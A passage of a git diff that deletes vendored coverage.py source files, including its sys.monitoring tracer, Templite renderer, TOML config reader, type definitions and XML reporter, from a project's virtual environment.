self.sysmon_py_start) - if self.trace_arcs: - register(events.PY_RETURN, self.sysmon_py_return) - register(events.LINE, self.sysmon_line_arcs) - if env.PYBEHAVIOR.branch_right_left: - register( - events.BRANCH_RIGHT, # type:ignore[attr-defined] - self.sysmon_branch_either, - ) - register( - events.BRANCH_LEFT, # type:ignore[attr-defined] - self.sysmon_branch_either, - ) - else: - register(events.LINE, self.sysmon_line_lines) - sys_monitoring.restart_events() - self.sysmon_on = True - - @panopticon() - def stop(self) -> None: - """Stop this Tracer.""" - with self.lock: - if not self.sysmon_on: - # In forking situations, we might try to stop when we are not - # started. Do nothing in that case. - return - assert sys_monitoring is not None - sys_monitoring.set_events(self.myid, 0) - self.sysmon_on = False - sys_monitoring.free_tool_id(self.myid) - - @panopticon() - def post_fork(self) -> None: - """The process has forked, clean up as needed.""" - self.stop() - - def activity(self) -> bool: - """Has there been any activity?""" - return self._activity - - def reset_activity(self) -> None: - """Reset the activity() flag.""" - self._activity = False - - def get_stats(self) -> dict[str, int] | None: - """Return a dictionary of statistics, or None.""" - return self.stats - - @panopticon("code", "@") - def sysmon_py_start( - self, code: CodeType, instruction_offset: TOffset - ) -> MonitorReturn: - """Handle sys.monitoring.events.PY_START events.""" - # Entering a new frame. Decide if we should trace in this file. - self._activity = True - if self.stats is not None: - self.stats["starts"] += 1 - - code_info = self.code_infos.get(id(code)) - tracing_code: bool | None = None - file_data: TTraceFileData | None = None - if code_info is not None: - tracing_code = code_info.tracing - file_data = code_info.file_data - - if tracing_code is None: - filename = code.co_filename - disp = self.should_trace_cache.get(filename) - if disp is None: - frame = inspect.currentframe().f_back # type: ignore[union-attr] - if LOG: - # @panopticon adds a frame. - frame = frame.f_back # type: ignore[union-attr] - disp = self.should_trace(filename, frame) # type: ignore[arg-type] - self.should_trace_cache[filename] = disp - - tracing_code = disp.trace - if tracing_code: - tracename = disp.source_filename - assert tracename is not None - self.lock_data() - try: - if tracename not in self.data: - self.data[tracename] = set() - finally: - self.unlock_data() - file_data = self.data[tracename] - b2l = bytes_to_lines(code) - else: - file_data = None - b2l = None - - code_info = CodeInfo( - tracing=tracing_code, - file_data=file_data, - byte_to_line=b2l, - branch_trails={}, - ) - self.code_infos[id(code)] = code_info - self.code_objects.append(code) - - if tracing_code: - if self.stats is not None: - self.stats["start_tracing"] += 1 - events = sys.monitoring.events - with self.lock: - if self.sysmon_on: - assert sys_monitoring is not None - local_events = events.PY_RETURN | events.PY_RESUME | events.LINE - if self.trace_arcs: - assert env.PYBEHAVIOR.branch_right_left - local_events |= ( - events.BRANCH_RIGHT # type:ignore[attr-defined] - | events.BRANCH_LEFT # type:ignore[attr-defined] - ) - sys_monitoring.set_local_events(self.myid, code, local_events) - - return DISABLE - - @panopticon("code", "@", None) - def sysmon_py_return( - self, - code: CodeType, - instruction_offset: TOffset, - retval: object, - ) -> MonitorReturn: - """Handle sys.monitoring.events.PY_RETURN events for branch coverage.""" - if self.stats is not None: - self.stats["returns"] += 1 - code_info = self.code_infos.get(id(code)) - # code_info is not None and code_info.file_data is not None, since we - # wouldn't have enabled this event if they were. - last_line = code_info.byte_to_line[instruction_offset] # type: ignore - if last_line is not None: - arc = (last_line, -code.co_firstlineno) - code_info.file_data.add(arc) # type: ignore - # log(f"adding {arc=}") - return DISABLE - - @panopticon("code", "line") - def sysmon_line_lines(self, code: CodeType, line_number: TLineNo) -> MonitorReturn: - """Handle sys.monitoring.events.LINE events for line coverage.""" - if self.stats is not None: - self.stats["line_lines"] += 1 - code_info = self.code_infos.get(id(code)) - # It should be true that code_info is not None and code_info.file_data - # is not None, since we wouldn't have enabled this event if they were. - # But somehow code_info can be None here, so we have to check. - if code_info is not None and code_info.file_data is not None: - code_info.file_data.add(line_number) # type: ignore - # log(f"adding {line_number=}") - return DISABLE - - @panopticon("code", "line") - def sysmon_line_arcs(self, code: CodeType, line_number: TLineNo) -> MonitorReturn: - """Handle sys.monitoring.events.LINE events for branch coverage.""" - if self.stats is not None: - self.stats["line_arcs"] += 1 - code_info = self.code_infos[id(code)] - # code_info is not None and code_info.file_data is not None, since we - # wouldn't have enabled this event if they were. - arc = (line_number, line_number) - code_info.file_data.add(arc) # type: ignore - # log(f"adding {arc=}") - return DISABLE - - @panopticon("code", "@", "@") - def sysmon_branch_either( - self, code: CodeType, instruction_offset: TOffset, destination_offset: TOffset - ) -> MonitorReturn: - """Handle BRANCH_RIGHT and BRANCH_LEFT events.""" - if self.stats is not None: - self.stats["branches"] += 1 - code_info = self.code_infos[id(code)] - # code_info is not None and code_info.file_data is not None, since we - # wouldn't have enabled this event if they were. - if not code_info.branch_trails: - if self.stats is not None: - self.stats["branch_trails"] += 1 - code_info.branch_trails = branch_trails(code) - # log(f"branch_trails for {code}:\n {code_info.branch_trails}") - added_arc = False - dest_info = code_info.branch_trails.get(instruction_offset) - # log(f"{dest_info = }") - if dest_info is not None: - for offsets, arc in dest_info: - if arc is None: - continue - if destination_offset in offsets: - code_info.file_data.add(arc) # type: ignore - # log(f"adding {arc=}") - added_arc = True - break - - if not added_arc: - # This could be an exception jumping from line to line. - assert code_info.byte_to_line is not None - l1 = code_info.byte_to_line[instruction_offset] - l2 = code_info.byte_to_line[destination_offset] - if l1 != l2: - arc = (l1, l2) - code_info.file_data.add(arc) # type: ignore - # log(f"adding unforeseen {arc=}") - - return DISABLE diff --git a/backend/venv/Lib/site-packages/coverage/templite.py b/backend/venv/Lib/site-packages/coverage/templite.py deleted file mode 100644 index 4689f957..00000000 --- a/backend/venv/Lib/site-packages/coverage/templite.py +++ /dev/null @@ -1,306 +0,0 @@ -# Licensed under the Apache License: http://www.apache.org/licenses/LICENSE-2.0 -# For details: https://github.com/nedbat/coveragepy/blob/master/NOTICE.txt - -"""A simple Python template renderer, for a nano-subset of Django syntax. - -For a detailed discussion of this code, see this chapter from 500 Lines: -http://aosabook.org/en/500L/a-template-engine.html - -""" - -# Coincidentally named the same as http://code.activestate.com/recipes/496702/ - -from __future__ import annotations - -import re - -from typing import ( - Any, Callable, NoReturn, cast, -) - - -class TempliteSyntaxError(ValueError): - """Raised when a template has a syntax error.""" - pass - - -class TempliteValueError(ValueError): - """Raised when an expression won't evaluate in a template.""" - pass - - -class CodeBuilder: - """Build source code conveniently.""" - - def __init__(self, indent: int = 0) -> None: - self.code: list[str | CodeBuilder] = [] - self.indent_level = indent - - def __str__(self) -> str: - return "".join(str(c) for c in self.code) - - def add_line(self, line: str) -> None: - """Add a line of source to the code. - - Indentation and newline will be added for you, don't provide them. - - """ - self.code.extend([" " * self.indent_level, line, "\n"]) - - def add_section(self) -> CodeBuilder: - """Add a section, a sub-CodeBuilder.""" - section = CodeBuilder(self.indent_level) - self.code.append(section) - return section - - INDENT_STEP = 4 # PEP8 says so! - - def indent(self) -> None: - """Increase the current indent for following lines.""" - self.indent_level += self.INDENT_STEP - - def dedent(self) -> None: - """Decrease the current indent for following lines.""" - self.indent_level -= self.INDENT_STEP - - def get_globals(self) -> dict[str, Any]: - """Execute the code, and return a dict of globals it defines.""" - # A check that the caller really finished all the blocks they started. - assert self.indent_level == 0 - # Get the Python source as a single string. - python_source = str(self) - # Execute the source, defining globals, and return them. - global_namespace: dict[str, Any] = {} - exec(python_source, global_namespace) - return global_namespace - - -class Templite: - """A simple template renderer, for a nano-subset of Django syntax. - - Supported constructs are extended variable access:: - - {{var.modifier.modifier|filter|filter}} - - loops:: - - {% for var in list %}...{% endfor %} - - and ifs:: - - {% if var %}...{% endif %} - - Comments are within curly-hash markers:: - - {# This will be ignored #} - - Lines between `{% joined %}` and `{% endjoined %}` will have lines stripped - and joined. Be careful, this could join words together! - - Any of these constructs can have a hyphen at the end (`-}}`, `-%}`, `-#}`), - which will collapse the white space following the tag. - - Construct a Templite with the template text, then use `render` against a - dictionary context to create a finished string:: - - templite = Templite(''' -

Hello {{name|upper}}!

- {% for topic in topics %} -

You are interested in {{topic}}.

- {% endif %} - ''', - {"upper": str.upper}, - ) - text = templite.render({ - "name": "Ned", - "topics": ["Python", "Geometry", "Juggling"], - }) - - """ - def __init__(self, text: str, *contexts: dict[str, Any]) -> None: - """Construct a Templite with the given `text`. - - `contexts` are dictionaries of values to use for future renderings. - These are good for filters and global values. - - """ - self.context = {} - for context in contexts: - self.context.update(context) - - self.all_vars: set[str] = set() - self.loop_vars: set[str] = set() - - # We construct a function in source form, then compile it and hold onto - # it, and execute it to render the template. - code = CodeBuilder() - - code.add_line("def render_function(context, do_dots):") - code.indent() - vars_code = code.add_section() - code.add_line("result = []") - code.add_line("append_result = result.append") - code.add_line("extend_result = result.extend") - code.add_line("to_str = str") - - buffered: list[str] = [] - - def flush_output() -> None: - """Force `buffered` to the code builder.""" - if len(buffered) == 1: - code.add_line("append_result(%s)" % buffered[0]) - elif len(buffered) > 1: - code.add_line("extend_result([%s])" % ", ".join(buffered)) - del buffered[:] - - ops_stack = [] - - # Split the text to form a list of tokens. - tokens = re.split(r"(?s)({{.*?}}|{%.*?%}|{#.*?#})", text) - - squash = in_joined = False - - for token in tokens: - if token.startswith("{"): - start, end = 2, -2 - squash = (token[-3] == "-") - if squash: - end = -3 - - if token.startswith("{#"): - # Comment: ignore it and move on. - continue - elif token.startswith("{{"): - # An expression to evaluate. - expr = self._expr_code(token[start:end].strip()) - buffered.append("to_str(%s)" % expr) - else: - # token.startswith("{%") - # Action tag: split into words and parse further. - flush_output() - - words = token[start:end].strip().split() - if words[0] == "if": - # An if statement: evaluate the expression to determine if. - if len(words) != 2: - self._syntax_error("Don't understand if", token) - ops_stack.append("if") - code.add_line("if %s:" % self._expr_code(words[1])) - code.indent() - elif words[0] == "for": - # A loop: iterate over expression result. - if len(words) != 4 or words[2] != "in": - self._syntax_error("Don't understand for", token) - ops_stack.append("for") - self._variable(words[1], self.loop_vars) - code.add_line( - f"for c_{words[1]} in {self._expr_code(words[3])}:", - ) - code.indent() - elif words[0] == "joined": - ops_stack.append("joined") - in_joined = True - elif words[0].startswith("end"): - # Endsomething. Pop the ops stack. - if len(words) != 1: - self._syntax_error("Don't understand end", token) - end_what = words[0][3:] - if not ops_stack: - self._syntax_error("Too many ends", token) - start_what = ops_stack.pop() - if start_what != end_what: - self._syntax_error("Mismatched end tag", end_what) - if end_what == "joined": - in_joined = False - else: - code.dedent() - else: - self._syntax_error("Don't understand tag", words[0]) - else: - # Literal content. If it isn't empty, output it. - if in_joined: - token = re.sub(r"\s*\n\s*", "", token.strip()) - elif squash: - token = token.lstrip() - if token: - buffered.append(repr(token)) - - if ops_stack: - self._syntax_error("Unmatched action tag", ops_stack[-1]) - - flush_output() - - for var_name in self.all_vars - self.loop_vars: - vars_code.add_line(f"c_{var_name} = context[{var_name!r}]") - - code.add_line("return ''.join(result)") - code.dedent() - self._render_function = cast( - Callable[ - [dict[str, Any], Callable[..., Any]], - str, - ], - code.get_globals()["render_function"], - ) - - def _expr_code(self, expr: str) -> str: - """Generate a Python expression for `expr`.""" - if "|" in expr: - pipes = expr.split("|") - code = self._expr_code(pipes[0]) - for func in pipes[1:]: - self._variable(func, self.all_vars) - code = f"c_{func}({code})" - elif "." in expr: - dots = expr.split(".") - code = self._expr_code(dots[0]) - args = ", ".join(repr(d) for d in dots[1:]) - code = f"do_dots({code}, {args})" - else: - self._variable(expr, self.all_vars) - code = "c_%s" % expr - return code - - def _syntax_error(self, msg: str, thing: Any) -> NoReturn: - """Raise a syntax error using `msg`, and showing `thing`.""" - raise TempliteSyntaxError(f"{msg}: {thing!r}") - - def _variable(self, name: str, vars_set: set[str]) -> None: - """Track that `name` is used as a variable. - - Adds the name to `vars_set`, a set of variable names. - - Raises an syntax error if `name` is not a valid name. - - """ - if not re.match(r"[_a-zA-Z][_a-zA-Z0-9]*$", name): - self._syntax_error("Not a valid name", name) - vars_set.add(name) - - def render(self, context: dict[str, Any] | None = None) -> str: - """Render this template by applying it to `context`. - - `context` is a dictionary of values to use in this rendering. - - """ - # Make the complete context we'll use. - render_context = dict(self.context) - if context: - render_context.update(context) - return self._render_function(render_context, self._do_dots) - - def _do_dots(self, value: Any, *dots: str) -> Any: - """Evaluate dotted expressions at run-time.""" - for dot in dots: - try: - value = getattr(value, dot) - except AttributeError: - try: - value = value[dot] - except (TypeError, KeyError) as exc: - raise TempliteValueError( - f"Couldn't evaluate {value!r}.{dot}", - ) from exc - if callable(value): - value = value() - return value diff --git a/backend/venv/Lib/site-packages/coverage/tomlconfig.py b/backend/venv/Lib/site-packages/coverage/tomlconfig.py deleted file mode 100644 index 0110ac18..00000000 --- a/backend/venv/Lib/site-packages/coverage/tomlconfig.py +++ /dev/null @@ -1,210 +0,0 @@ -# Licensed under the Apache License: http://www.apache.org/licenses/LICENSE-2.0 -# For details: https://github.com/nedbat/coveragepy/blob/master/NOTICE.txt - -"""TOML configuration support for coverage.py""" - -from __future__ import annotations - -import os -import re - -from typing import Any, Callable, TypeVar -from collections.abc import Iterable - -from coverage import env -from coverage.exceptions import ConfigError -from coverage.misc import import_third_party, isolate_module, substitute_variables -from coverage.types import TConfigSectionOut, TConfigValueOut - -os = isolate_module(os) - -if env.PYVERSION >= (3, 11, 0, "alpha", 7): - import tomllib # pylint: disable=import-error - has_tomllib = True -else: - # TOML support on Python 3.10 and below is an install-time extra option. - tomllib, has_tomllib = import_third_party("tomli") - - -class TomlDecodeError(Exception): - """An exception class that exists even when toml isn't installed.""" - pass - - -TWant = TypeVar("TWant") - -class TomlConfigParser: - """TOML file reading with the interface of HandyConfigParser.""" - - # This class has the same interface as config.HandyConfigParser, no - # need for docstrings. - # pylint: disable=missing-function-docstring - - def __init__(self, our_file: bool) -> None: - self.our_file = our_file - self.data: dict[str, Any] = {} - - def read(self, filenames: Iterable[str]) -> list[str]: - # RawConfigParser takes a filename or list of filenames, but we only - # ever call this with a single filename. - assert isinstance(filenames, (bytes, str, os.PathLike)) - filename = os.fspath(filenames) - - try: - with open(filename, encoding='utf-8') as fp: - toml_text = fp.read() - except OSError: - return [] - if has_tomllib: - try: - self.data = tomllib.loads(toml_text) - except tomllib.TOMLDecodeError as err: - raise TomlDecodeError(str(err)) from err - return [filename] - else: - has_toml = re.search(r"^\[tool\.coverage(\.|])", toml_text, flags=re.MULTILINE) - if self.our_file or has_toml: - # Looks like they meant to read TOML, but we can't read it. - msg = "Can't read {!r} without TOML support. Install with [toml] extra" - raise ConfigError(msg.format(filename)) - return [] - - def _get_section(self, section: str) -> tuple[str | None, TConfigSectionOut | None]: - """Get a section from the data. - - Arguments: - section (str): A section name, which can be dotted. - - Returns: - name (str): the actual name of the section that was found, if any, - or None. - data (str): the dict of data in the section, or None if not found. - - """ - prefixes = ["tool.coverage."] - for prefix in prefixes: - real_section = prefix + section - parts = real_section.split(".") - try: - data = self.data[parts[0]] - for part in parts[1:]: - data = data[part] - except KeyError: - continue - break - else: - return None, None - return real_section, data - - def _get(self, section: str, option: str) -> tuple[str, TConfigValueOut]: - """Like .get, but returns the real section name and the value.""" - name, data = self._get_section(section) - if data is None: - raise ConfigError(f"No section: {section!r}") - assert name is not None - try: - value = data[option] - except KeyError: - raise ConfigError(f"No option {option!r} in section: {name!r}") from None - return name, value - - def _get_single(self, section: str, option: str) -> Any: - """Get a single-valued option. - - Performs environment substitution if the value is a string. Other types - will be converted later as needed. - """ - name, value = self._get(section, option) - if isinstance(value, str): - value = substitute_variables(value, os.environ) - return name, value - - def has_option(self, section: str, option: str) -> bool: - _, data = self._get_section(section) - if data is None: - return False - return option in data - - def real_section(self, section: str) -> str | None: - name, _ = self._get_section(section) - return name - - def has_section(self, section: str) -> bool: - name, _ = self._get_section(section) - return bool(name) - - def options(self, section: str) -> list[str]: - _, data = self._get_section(section) - if data is None: - raise ConfigError(f"No section: {section!r}") - return list(data.keys()) - - def get_section(self, section: str) -> TConfigSectionOut: - _, data = self._get_section(section) - return data or {} - - def get(self, section: str, option: str) -> Any: - _, value = self._get_single(section, option) - return value - - def _check_type( - self, - section: str, - option: str, - value: Any, - type_: type[TWant], - converter: Callable[[Any], TWant] | None, - type_desc: str, - ) -> TWant: - """Check that `value` has the type we want, converting if needed. - - Returns the resulting value of the desired type. - """ - if isinstance(value, type_): - return value - if isinstance(value, str) and converter is not None: - try: - return converter(value) - except Exception as e: - raise ValueError( - f"Option [{section}]{option} couldn't convert to {type_desc}: {value!r}", - ) from e - raise ValueError( - f"Option [{section}]{option} is not {type_desc}: {value!r}", - ) - - def getboolean(self, section: str, option: str) -> bool: - name, value = self._get_single(section, option) - bool_strings = {"true": True, "false": False} - return self._check_type(name, option, value, bool, bool_strings.__getitem__, "a boolean") - - def _get_list(self, section: str, option: str) -> tuple[str, list[str]]: - """Get a list of strings, substituting environment variables in the elements.""" - name, values = self._get(section, option) - values = self._check_type(name, option, values, list, None, "a list") - values = [substitute_variables(value, os.environ) for value in values] - return name, values - - def getlist(self, section: str, option: str) -> list[str]: - _, values = self._get_list(section, option) - return values - - def getregexlist(self, section: str, option: str) -> list[str]: - name, values = self._get_list(section, option) - for value in values: - value = value.strip() - try: - re.compile(value) - except re.error as e: - raise ConfigError(f"Invalid [{name}].{option} value {value!r}: {e}") from e - return values - - def getint(self, section: str, option: str) -> int: - name, value = self._get_single(section, option) - return self._check_type(name, option, value, int, int, "an integer") - - def getfloat(self, section: str, option: str) -> float: - name, value = self._get_single(section, option) - if isinstance(value, int): - value = float(value) - return self._check_type(name, option, value, float, float, "a float") diff --git a/backend/venv/Lib/site-packages/coverage/tracer.cp311-win_amd64.pyd b/backend/venv/Lib/site-packages/coverage/tracer.cp311-win_amd64.pyd deleted file mode 100644 index d2ca9286..00000000 Binary files a/backend/venv/Lib/site-packages/coverage/tracer.cp311-win_amd64.pyd and /dev/null differ diff --git a/backend/venv/Lib/site-packages/coverage/tracer.pyi b/backend/venv/Lib/site-packages/coverage/tracer.pyi deleted file mode 100644 index d850493e..00000000 --- a/backend/venv/Lib/site-packages/coverage/tracer.pyi +++ /dev/null @@ -1,41 +0,0 @@ -# Licensed under the Apache License: http://www.apache.org/licenses/LICENSE-2.0 -# For details: https://github.com/nedbat/coveragepy/blob/master/NOTICE.txt - -"""Typing information for the constructs from our .c files.""" - -from typing import Any, Dict - -from coverage.types import TFileDisposition, TTraceData, TTraceFn, Tracer - -class CFileDisposition(TFileDisposition): - """CFileDisposition is in ctracer/filedisp.c""" - canonical_filename: Any - file_tracer: Any - has_dynamic_filename: Any - original_filename: Any - reason: Any - source_filename: Any - trace: Any - def __init__(self) -> None: ... - -class CTracer(Tracer): - """CTracer is in ctracer/tracer.c""" - check_include: Any - concur_id_func: Any - data: TTraceData - disable_plugin: Any - file_tracers: Any - should_start_context: Any - should_trace: Any - should_trace_cache: Any - switch_context: Any - lock_data: Any - unlock_data: Any - trace_arcs: Any - warn: Any - def __init__(self) -> None: ... - def activity(self) -> bool: ... - def get_stats(self) -> Dict[str, int]: ... - def reset_activity(self) -> Any: ... - def start(self) -> TTraceFn: ... - def stop(self) -> None: ... diff --git a/backend/venv/Lib/site-packages/coverage/types.py b/backend/venv/Lib/site-packages/coverage/types.py deleted file mode 100644 index 8b919a89..00000000 --- a/backend/venv/Lib/site-packages/coverage/types.py +++ /dev/null @@ -1,206 +0,0 @@ -# Licensed under the Apache License: http://www.apache.org/licenses/LICENSE-2.0 -# For details: https://github.com/nedbat/coveragepy/blob/master/NOTICE.txt - -""" -Types for use throughout coverage.py. -""" - -from __future__ import annotations - -import os -import pathlib - -from collections.abc import Iterable, Mapping -from types import FrameType, ModuleType -from typing import ( - Any, Callable, Optional, Protocol, - Union, TYPE_CHECKING, -) - -if TYPE_CHECKING: - from coverage.plugin import FileTracer - - -AnyCallable = Callable[..., Any] - -## File paths - -# For arguments that are file paths: -if TYPE_CHECKING: - FilePath = Union[str, os.PathLike[str]] -else: - # PathLike < python3.9 doesn't support subscription - FilePath = Union[str, os.PathLike] -# For testing FilePath arguments -FilePathClasses = [str, pathlib.Path] -FilePathType = Union[type[str], type[pathlib.Path]] - -## Python tracing - -class TTraceFn(Protocol): - """A Python trace function.""" - def __call__( - self, - frame: FrameType, - event: str, - arg: Any, - lineno: TLineNo | None = None, # Our own twist, see collector.py - ) -> TTraceFn | None: - ... - -## Coverage.py tracing - -# Line numbers are pervasive enough that they deserve their own type. -TLineNo = int - -# Bytecode offsets are pervasive enough that they deserve their own type. -TOffset = int - -TArc = tuple[TLineNo, TLineNo] - -class TFileDisposition(Protocol): - """A simple value type for recording what to do with a file.""" - - original_filename: str - canonical_filename: str - source_filename: str | None - trace: bool - reason: str - file_tracer: FileTracer | None - has_dynamic_filename: bool - - -# When collecting data, we use a dictionary with a few possible shapes. The -# keys are always file names. -# - If measuring line coverage, the values are sets of line numbers. -# - If measuring arcs in the Python tracer, the values are sets of arcs (pairs -# of line numbers). -# - If measuring arcs in the C tracer, the values are sets of packed arcs (two -# line numbers combined into one integer). - -TTraceFileData = Union[set[TLineNo], set[TArc], set[int]] - -TTraceData = dict[str, TTraceFileData] - -# Functions passed into collectors. -TShouldTraceFn = Callable[[str, FrameType], TFileDisposition] -TCheckIncludeFn = Callable[[str, FrameType], bool] -TShouldStartContextFn = Callable[[FrameType], Union[str, None]] - -class Tracer(Protocol): - """Anything that can report on Python execution.""" - - data: TTraceData - trace_arcs: bool - should_trace: TShouldTraceFn - should_trace_cache: Mapping[str, TFileDisposition | None] - should_start_context: TShouldStartContextFn | None - switch_context: Callable[[str | None], None] | None - lock_data: Callable[[], None] - unlock_data: Callable[[], None] - warn: TWarnFn - - def __init__(self) -> None: - ... - - def start(self) -> TTraceFn | None: - """Start this tracer, return a trace function if based on sys.settrace.""" - - def stop(self) -> None: - """Stop this tracer.""" - - def activity(self) -> bool: - """Has there been any activity?""" - - def reset_activity(self) -> None: - """Reset the activity() flag.""" - - def get_stats(self) -> dict[str, int] | None: - """Return a dictionary of statistics, or None.""" - - -## Coverage - -# Many places use kwargs as Coverage kwargs. -TCovKwargs = Any - - -## Configuration - -# One value read from a config file. -TConfigValueIn = Optional[Union[bool, int, float, str, Iterable[str], Mapping[str, Iterable[str]]]] -TConfigValueOut = Optional[Union[bool, int, float, str, list[str], dict[str, list[str]]]] -# An entire config section, mapping option names to values. -TConfigSectionIn = Mapping[str, TConfigValueIn] -TConfigSectionOut = Mapping[str, TConfigValueOut] - -class TConfigurable(Protocol): - """Something that can proxy to the coverage configuration settings.""" - - def get_option(self, option_name: str) -> TConfigValueOut | None: - """Get an option from the configuration. - - `option_name` is a colon-separated string indicating the section and - option name. For example, the ``branch`` option in the ``[run]`` - section of the config file would be indicated with `"run:branch"`. - - Returns the value of the option. - - """ - - def set_option(self, option_name: str, value: TConfigValueIn | TConfigSectionIn) -> None: - """Set an option in the configuration. - - `option_name` is a colon-separated string indicating the section and - option name. For example, the ``branch`` option in the ``[run]`` - section of the config file would be indicated with `"run:branch"`. - - `value` is the new value for the option. - - """ - -class TPluginConfig(Protocol): - """Something that can provide options to a plugin.""" - - def get_plugin_options(self, plugin: str) -> TConfigSectionOut: - """Get the options for a plugin.""" - - -## Parsing - -TMorf = Union[ModuleType, str] - -TSourceTokenLines = Iterable[list[tuple[str, str]]] - - -## Plugins - -class TPlugin(Protocol): - """What all plugins have in common.""" - _coverage_plugin_name: str - _coverage_enabled: bool - - -## Debugging - -class TWarnFn(Protocol): - """A callable warn() function.""" - def __call__(self, msg: str, slug: str | None = None, once: bool = False) -> None: - ... - - -class TDebugCtl(Protocol): - """A DebugControl object, or something like it.""" - - def should(self, option: str) -> bool: - """Decide whether to output debug information in category `option`.""" - - def write(self, msg: str) -> None: - """Write a line of debug output.""" - - -class TWritable(Protocol): - """Anything that can be written to.""" - - def write(self, msg: str) -> None: - """Write a message.""" diff --git a/backend/venv/Lib/site-packages/coverage/version.py b/backend/venv/Lib/site-packages/coverage/version.py deleted file mode 100644 index aef3c5dd..00000000 --- a/backend/venv/Lib/site-packages/coverage/version.py +++ /dev/null @@ -1,50 +0,0 @@ -# Licensed under the Apache License: http://www.apache.org/licenses/LICENSE-2.0 -# For details: https://github.com/nedbat/coveragepy/blob/master/NOTICE.txt - -"""The version and URL for coverage.py""" -# This file is exec'ed in setup.py, don't import anything! - -from __future__ import annotations - -# version_info: same semantics as sys.version_info. -# _dev: the .devN suffix if any. -version_info = (7, 9, 1, "final", 0) -_dev = 0 - - -def _make_version( - major: int, - minor: int, - micro: int, - releaselevel: str = "final", - serial: int = 0, - dev: int = 0, -) -> str: - """Create a readable version string from version_info tuple components.""" - assert releaselevel in ["alpha", "beta", "candidate", "final"] - version = "%d.%d.%d" % (major, minor, micro) - if releaselevel != "final": - short = {"alpha": "a", "beta": "b", "candidate": "rc"}[releaselevel] - version += f"{short}{serial}" - if dev != 0: - version += f".dev{dev}" - return version - - -def _make_url( - major: int, - minor: int, - micro: int, - releaselevel: str, - serial: int = 0, - dev: int = 0, -) -> str: - """Make the URL people should start at for this version of coverage.py.""" - return ( - "https://coverage.readthedocs.io/en/" - + _make_version(major, minor, micro, releaselevel, serial, dev) - ) - - -__version__ = _make_version(*version_info, _dev) -__url__ = _make_url(*version_info, _dev) diff --git a/backend/venv/Lib/site-packages/coverage/xmlreport.py b/backend/venv/Lib/site-packages/coverage/xmlreport.py deleted file mode 100644 index c72ee08a..00000000 --- a/backend/venv/Lib/site-packages/coverage/xmlreport.py +++ /dev/null @@ -1,262 +0,0 @@ -# Licensed under the Apache License: http://www.apache.org/licenses/LICENSE-2.0 -# For details: https://github.com/nedbat/coveragepy/blob/master/NOTICE.txt - -"""XML reporting for coverage.py""" - -from __future__ import annotations - -import os -import os.path -import sys -import time -import xml.dom.minidom - -from dataclasses import dataclass -from typing import Any, IO, TYPE_CHECKING -from collections.abc import Iterable - -from coverage import __version__, files -from coverage.misc import isolate_module, human_sorted, human_sorted_items -from coverage.plugin import FileReporter -from coverage.report_core import get_analysis_to_report -from coverage.results import Analysis -from coverage.types import TMorf -from coverage.version import __url__ - -if TYPE_CHECKING: - from coverage import Coverage - -os = isolate_module(os) - - -DTD_URL = "https://raw.githubusercontent.com/cobertura/web/master/htdocs/xml/coverage-04.dtd" - - -def rate(hit: int, num: int) -> str: - """Return the fraction of `hit`/`num`, as a string.""" - if num == 0: - return "1" - else: - return "%.4g" % (hit / num) - - -@dataclass -class PackageData: - """Data we keep about each "package" (in Java terms).""" - elements: dict[str, xml.dom.minidom.Element] - hits: int - lines: int - br_hits: int - branches: int - - -def appendChild(parent: Any, child: Any) -> None: - """Append a child to a parent, in a way mypy will shut up about.""" - parent.appendChild(child) - - -class XmlReporter: - """A reporter for writing Cobertura-style XML coverage results.""" - - report_type = "XML report" - - def __init__(self, coverage: Coverage) -> None: - self.coverage = coverage - self.config = self.coverage.config - - self.source_paths = set() - if self.config.source: - for src in self.config.source: - if os.path.exists(src): - if self.config.relative_files: - src = src.rstrip(r"\/") - else: - src = files.canonical_filename(src) - self.source_paths.add(src) - self.packages: dict[str, PackageData] = {} - self.xml_out: xml.dom.minidom.Document - - def report(self, morfs: Iterable[TMorf] | None, outfile: IO[str] | None = None) -> float: - """Generate a Cobertura-compatible XML report for `morfs`. - - `morfs` is a list of modules or file names. - - `outfile` is a file object to write the XML to. - - """ - # Initial setup. - outfile = outfile or sys.stdout - has_arcs = self.coverage.get_data().has_arcs() - - # Create the DOM that will store the data. - impl = xml.dom.minidom.getDOMImplementation() - assert impl is not None - self.xml_out = impl.createDocument(None, "coverage", None) - - # Write header stuff. - xcoverage = self.xml_out.documentElement - assert xcoverage is not None - xcoverage.setAttribute("version", __version__) - xcoverage.setAttribute("timestamp", str(int(time.time()*1000))) - xcoverage.appendChild(self.xml_out.createComment( - f" Generated by coverage.py: {__url__} ", - )) - xcoverage.appendChild(self.xml_out.createComment(f" Based on {DTD_URL} ")) - - # Call xml_file for each file in the data. - for fr, analysis in get_analysis_to_report(self.coverage, morfs): - self.xml_file(fr, analysis, has_arcs) - - xsources = self.xml_out.createElement("sources") - xcoverage.appendChild(xsources) - - # Populate the XML DOM with the source info. - for path in human_sorted(self.source_paths): - xsource = self.xml_out.createElement("source") - appendChild(xsources, xsource) - txt = self.xml_out.createTextNode(path) - appendChild(xsource, txt) - - lnum_tot, lhits_tot = 0, 0 - bnum_tot, bhits_tot = 0, 0 - - xpackages = self.xml_out.createElement("packages") - xcoverage.appendChild(xpackages) - - # Populate the XML DOM with the package info. - for pkg_name, pkg_data in human_sorted_items(self.packages.items()): - xpackage = self.xml_out.createElement("package") - appendChild(xpackages, xpackage) - xclasses = self.xml_out.createElement("classes") - appendChild(xpackage, xclasses) - for _, class_elt in human_sorted_items(pkg_data.elements.items()): - appendChild(xclasses, class_elt) - xpackage.setAttribute("name", pkg_name.replace(os.sep, ".")) - xpackage.setAttribute("line-rate", rate(pkg_data.hits, pkg_data.lines)) - if has_arcs: - branch_rate = rate(pkg_data.br_hits, pkg_data.branches) - else: - branch_rate = "0" - xpackage.setAttribute("branch-rate", branch_rate) - xpackage.setAttribute("complexity", "0") - - lhits_tot += pkg_data.hits - lnum_tot += pkg_data.lines - bhits_tot += pkg_data.br_hits - bnum_tot += pkg_data.branches - - xcoverage.setAttribute("lines-valid", str(lnum_tot)) - xcoverage.setAttribute("lines-covered", str(lhits_tot)) - xcoverage.setAttribute("line-rate", rate(lhits_tot, lnum_tot)) - if has_arcs: - xcoverage.setAttribute("branches-valid", str(bnum_tot)) - xcoverage.setAttribute("branches-covered", str(bhits_tot)) - xcoverage.setAttribute("branch-rate", rate(bhits_tot, bnum_tot)) - else: - xcoverage.setAttribute("branches-covered", "0") - xcoverage.setAttribute("branches-valid", "0") - xcoverage.setAttribute("branch-rate", "0") - xcoverage.setAttribute("complexity", "0") - - # Write the output file. - outfile.write(serialize_xml(self.xml_out)) - - # Return the total percentage. - denom = lnum_tot + bnum_tot - if denom 